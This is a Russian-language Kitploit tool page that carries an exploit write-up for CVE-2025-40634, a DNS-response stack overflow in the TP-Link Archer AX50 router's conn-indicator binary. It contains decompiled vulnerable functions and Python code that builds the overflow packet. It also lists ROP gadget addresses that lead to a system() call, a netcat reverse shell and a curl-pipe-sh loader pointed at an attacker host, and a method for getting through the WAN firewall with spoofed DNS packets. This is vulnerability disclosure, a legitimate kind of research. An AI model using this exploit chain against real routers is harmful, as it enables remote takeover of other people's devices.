Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-40634 — Эксплойт для стекового переполнения буфера, обнаруженного в бинарном файле conn-indicator в роутере TP-Link Archer AX50 | Kitploit
Инструменты/GitHubGitHub/hacefresko/cve-2025-40634
Безопасность встроенных системБезопасность IoTЭксплуатацияФаззингТестирование на ПроникновениеАппаратная БезопасностьИнструмент Удаленного ДоступаЭксплуатация Бинарных Файлов
GitHubhacefresko/cve-2025-40634

CVE-2025-40634

Эксплойт для стекового переполнения буфера, обнаруженного в бинарном файле conn-indicator в роутере TP-Link Archer AX50

Репозиторий
31810 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-40634

Маршрутизатор TP-Link Archer AX50 уязвим к переполнению стека в прошивке версии 1.0.14 Build 20240108 rel.42655(4555), что приводит к удаленному выполнению кода как в локальной сети (LAN), так и в глобальной сети (WAN). Эта уязвимость имеет ту же первопричину, что и CVE-2020-10881, обнаруженная командой Flashback и подробно описанная в их серии видео (см. ссылки). Однако процесс эксплуатации несколько отличается, поэтому потребовалось написать новый эксплойт.

Первопричина

Уязвимость возникает в бинарном файле conn-indicator, который отвечает за проверку подключения маршрутизатора к интернету путем периодической отправки DNS-запросов и прослушивания ответов на случайном UDP-порту от 32000 до 61000.

Функция, которая принимает и обрабатывает эти DNS-ответы, называется TPDns_RecvAndResolve(), расположена по адресу 0x00405e3c. При получении пакета через recvfrom он сохраняется в buf, размер которого составляет 2960 байт. Затем проверяется, что код возврата корректен (RCODE == 0), а также проверяется количество вопросов и ответов в пакете (QDCOUNT и ANCOUNT). Для обработки ответов вызывается process_resolved_IP(), которой передаются указатель на buf, answer_ptr (указатель на местонахождение ответов внутри пакета в buf), количество ответов (ANCOUNT) и другие флаги:

root@kitploit:~
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
  
  [...]
  
  byte buf [2960];
  
  [...]
  
      while( true ) {
        recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
                              local_38);
        piVar2 = __errno_location();
        if (recv_bytes == 0) goto RECV_ERROR;
        if (recv_bytes < 0) break;
        total_recv_bytes = total_recv_bytes + recv_bytes;
        if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
      }

  [...]

                    /* Check that ANCOUNT is not 0 (answer contains at least one domain) */
          puVar5 = (undefined4 *)0x0;
          if (buf._6_2_ != 0) {
            local_40 = 0;
            puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
            answer_ptr = answer_ptr + local_40;
          }

  [...]

Функция process_resolved_IP(), расположенная по адресу 0x00405818, перебирает каждый ответ и вызывает DNS_answer_parser() для каждого из них. В качестве аргументов передаются тот же указатель на buf, answer (указатель на текущий обрабатываемый ответ внутри исходного пакета в buf) и указатель на current_answer (буфер размером 256):

root@kitploit:~
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
  
  [...]
  
  byte current_answer [256];
  ushort answer_flags [5];
  
  i = 0;
  puVar9 = (undefined4 *)0x0;
  puVar7 = (undefined4 *)0x0;
  answer = answer_ptr;
  do {
                    /* Check if all answers have been parsed already */
    if (i == ANCOUNT) {
      if (param_4 != (undefined4 *)0x0) {
        *param_4 = puVar7;
      }
      if (param_5 != (int *)0x0) {
        *param_5 = (int)answer - (int)answer_ptr;
      }
      return puVar9;
    }
    bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
    memcpy(answer_flags,answer + bytes_processed,10);
    uVar1 = answer_flags._4_4_;
    bytes_processed = bytes_processed + 10;
    uVar6 = (uint)answer_flags[4];
    uVar8 = (uint)answer_flags[0];
    if (uVar8 == 2) {
LAB_00405924:
      DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
    }
    else if (uVar8 < 3) {
      pbVar2 = answer + bytes_processed;
      if (uVar8 == 1) {
        sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
                (uint)pbVar2[3]);
      }
    }
    else {
      if (uVar8 == 5) goto LAB_00405924;
      if (uVar8 == 0x1c) {
        inet_ntop(10,answer,(char *)abStack_240,0xff);
      }
    }
    answer = answer + bytes_processed + uVar6;
  
  [...]

    i = i + 1;
  } while( true );
}

Функция DNS_answer_parser(), расположенная по адресу 0x004054e0, анализирует каждый ответ отдельно. Ответ состоит из доменного имени, представленного в формате <длина><домен><длина><домен>.... Например, example.com будет представлен как 7example3com. Функция проходит по каждой паре <длина><домен>, составляющей доменное имя в ответе, и проверяет, что <длина меньше 63 (domain_name & 0xc0 != 0). Затем она вызывает memcpy и копирует <длина> байт из answer, соответствующих <домен>, в current_answer. Процесс повторяется для следующей пары <длина><домен> в доменном имени.

root@kitploit:~
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
  int iVar1;
  uint __n;
  int iVar2;
  uint uVar3;
  ushort flag_and_offset;
  byte domain_name;
  
  iVar2 = 0;
  do {
    domain_name = *answer;
    __n = (uint)domain_name;
    iVar1 = 1;
    if (__n == 0) {
      *current_answer = 0;
LAB_004055b0:
      return iVar2 + iVar1;
    }
                    /* Check if compression mode is used */
    if ((domain_name & 0xc0) != 0) {
      flag_and_offset = CONCAT11(domain_name,answer[1]);
      DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
      iVar1 = 2;
      goto LAB_004055b0;
    }
    uVar3 = __n + 1;
    if (flag == 0) {
      *current_answer = '.';
      memcpy(current_answer + 1,answer + 1,__n);
      __n = uVar3;
    }
    else {
      memcpy(current_answer,answer + 1,__n);
    }
    answer = answer + uVar3;
    current_answer = current_answer + __n;
    iVar2 = iVar2 + uVar3;
    flag = 0;
  } while( true );
}

Поскольку current_answer имеет размер всего 256 байт, злоумышленник может отправить пакет с ответом, содержащим доменное имя достаточной длины, чтобы переполнить буфер.

Эксплуатация

Процесс эксплуатации очень похож на тот, что описан командой Flashback для CVE-2020-10881 в их серии видео (см. ссылки), с некоторыми ключевыми отличиями:

  1. Адреса не совпадают.
  2. Код не совсем одинаков, поэтому смещения и размер стека в некоторых моментах также отличаются.
  3. Хотя первый и третий ROP-гаджеты те же (расположены по разным адресам), второй отличается инструкцией move: теперь регистр, перемещаемый в $a2 в качестве аргумента count для memcpy(), — это $s1, а не $s0.
  4. Переменная i в process_resolved_IP() загружается в $s5, а не в $s8. Затем при сравнении с $v1 значение $v1 берется из $sp+616, что находится очень далеко от переполненного буфера, поэтому пришлось дополнительно повредить стек дальше за счет ответа и команды.
  5. Файловая система доступна только для чтения, за исключением , поэтому все операции записи и чтения должны выполняться там. Это делает невозможным reverse shell длиной менее 62 символов, поэтому для развертывания его на цели необходимо раздать его с веб-сервера и отправить на цель команду на загрузку и выполнение.

Учитывая это, я всё равно объясню весь процесс.

Бинарник conn-indicator имеет включенный NX и ASLR на всем, кроме себя самого:

root@kitploit:~
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430       /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430       /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0          [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681       /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681       /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506       /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506       /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872       /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872       /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893       /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893       /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711       /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711       /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709       /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709       /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714       /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714       /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0          [stack]
7ffff000-80000000 r-xp 00000000 00:00 0          [vdso]
root@Archer_AX50:/proc/6541# exploit

Таким образом, стратегия эксплуатации этой уязвимости заключается в построении ROP-цепочки, в которой мы сможем выполнить system() с нужной командой.

Чтобы иметь возможность переполнить буфер и повредить регистр $ra, злоумышленнику необходимо отправить DNS-ответ с ответом, содержащим доменное имя достаточной длины. Что касается DNS-заголовка, единственное требование — RCODE равно 0, а ANCOUNT равно 1, поскольку пакет должен содержать только один ответ. В качестве примера следующий пакет повреждает регистр $ra значением 0x50505050:

root@kitploit:~
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f

TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]

# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT

# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
    packet += [DOMAIN_LEN]
    for j in range(0, DOMAIN_LEN):
        packet += [0x41]

# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23

# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]

Поскольку адрес бинарника всегда одинаков при каждом запуске и у него есть область для записи, план состоит в том, чтобы скопировать туда команду для выполнения, а затем вызвать system() с ней. Для этого используется следующая ROP-цепочка:

  1. Этот гаджет подготавливает аргументы для memcpy(). Адрес следующего гаджета загружается в $ra. Затем $s2 перемещается в $v0. Он содержит адрес области записи бинарника, в которую будет скопирована команда — это будет аргумент dest для memcpy(). Затем аргумент count для memcpy загружается в $s1 из управляемого нами адреса стека. Наконец, происходит переход к следующему гаджету:
root@kitploit:~
00402700  lw      ra, 0x2c(sp)
00402704  move    v0, s2
00402708  lw      s2, 0x28(sp)
0040270c  lw      s1, 0x24(sp)
00402710  lw      s0, 0x20(sp)
00402714  jr      ra
00402718  addiu   sp, sp, 0x30
  1. Этот гаджет продолжает подготовку аргументов для memcpy() и затем вызывает её. Аргумент dest для memcpy(), соответствующий области записи бинарника, который находился в $v0, загружается в $a0 как первый параметр memcpy(). На этом этапе выполнения $a1 указывает на конец ответа в пакете DNS-ответа, где мы разместили строку команды, поэтому нет необходимости готовить параметр src. Затем $s1, содержащий параметр count, загруженный в предыдущем гаджете, перемещается в $a2 как третий параметр для memcpy(). Наконец, вызывается memcpy(), и строка команды копируется в область записи бинарника. Этот гаджет находится в конце process_resolved_IP(), поэтому выполнение теперь продолжается внутри этой функции. Стек необходимо организовать так, чтобы функция могла успешно вернуться. Для этого в полезную нагрузку аккуратно помещаются некоторые переменные из этой функции, которые загружаются из стека и из некоторых регистров, такие как , , и . При возврате адрес снова берется из стека, в который мы помещаем адрес следующего гаджета для перехода.
root@kitploit:~
00405a98  move    a0, v0
00405a9c  jal     <EXTERNAL>:memcpy
00405aa0  _move   a2, s1

[...]
  1. Этот гаджет подготавливает аргумент для system() и вызывает её. На этом этапе выполнения $v0 содержит значение $s3, в который мы поместили адрес области записи в бинарнике, теперь содержащей команду. Таким образом, $v0 перемещается в $a0. Затем адрес system(), импортированный в бинарник, помещается из стека в $ra и вызывается system(), что приводит к выполнению кода.
root@kitploit:~
004065e8  move    a0, v0
004065ec  clear   v0
004065f0  lw      ra, 0x1c(sp)
004065f4  jr      ra

Теперь reverse shell, который нужно выполнить на цели (работающей под busybox), выглядит следующим образом:

root@kitploit:~
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f

Однако команда для выполнения должна быть короче 62 символов, а поскольку файловая система доступна для записи только в /tmp, выполнить reverse shell напрямую невозможно. Вместо этого был выполнен загрузчик: curl http://<attacker>:<port>/ | sh, который загружает reverse shell с атакующего.

Теперь осталось только перебрать порт, на котором прослушивает conn-indicator, что легко автоматизируется.

До этого момента эксплойт работал бы только на стороне LAN, поскольку сторона WAN защищена брандмауэром. Однако есть способ обойти это ограничение. Чтобы conn-indicator мог получать DNS-ответы, брандмауэр разрешает пакеты, приходящие с того же IP-адреса, на который отправляются DNS-запросы бинарника, то есть пакеты, исходящие от DNS-сервера, который использует целевой маршрутизатор. Таким образом, чтобы обойти брандмауэр, достаточно отправить поддельные пакеты от имени DNS-сервера. Если цель находится в локальной сети, это, вероятно, будет что-то вроде 192.168.0.1, 192.168.1.1 или 10.0.0.1; если цель напрямую подключена к Интернету, это, вероятно, будет что-то вроде 8.8.8.8, 1.1.1.1 или другие распространенные DNS-серверы.

Полностью функциональный эксплойт работает как для LAN, так и для WAN. Режим LAN перебирает все порты от 32000 до 61000, а режим WAN перебирает те же порты и все возможные DNS-IP, которые хранятся в SPOOF_LIST. Этот список следует редактировать, исходя из знаний атакующего о цели, однако при достаточном времени (минуты) он должен покрывать 90% случаев.

Ссылки

  • TP-Link Archer AX50 official page
  • Flashback Team - DNS Remote Code Execution: Finding the Vulnerability 👾 (Part 1)
  • Flashback Team - DNS Remote Code Execution: Writing the Exploit 💣 (Part 2)
Скачать инструмент
/tmp
ANCOUNT
param_4
param_5
i
$ra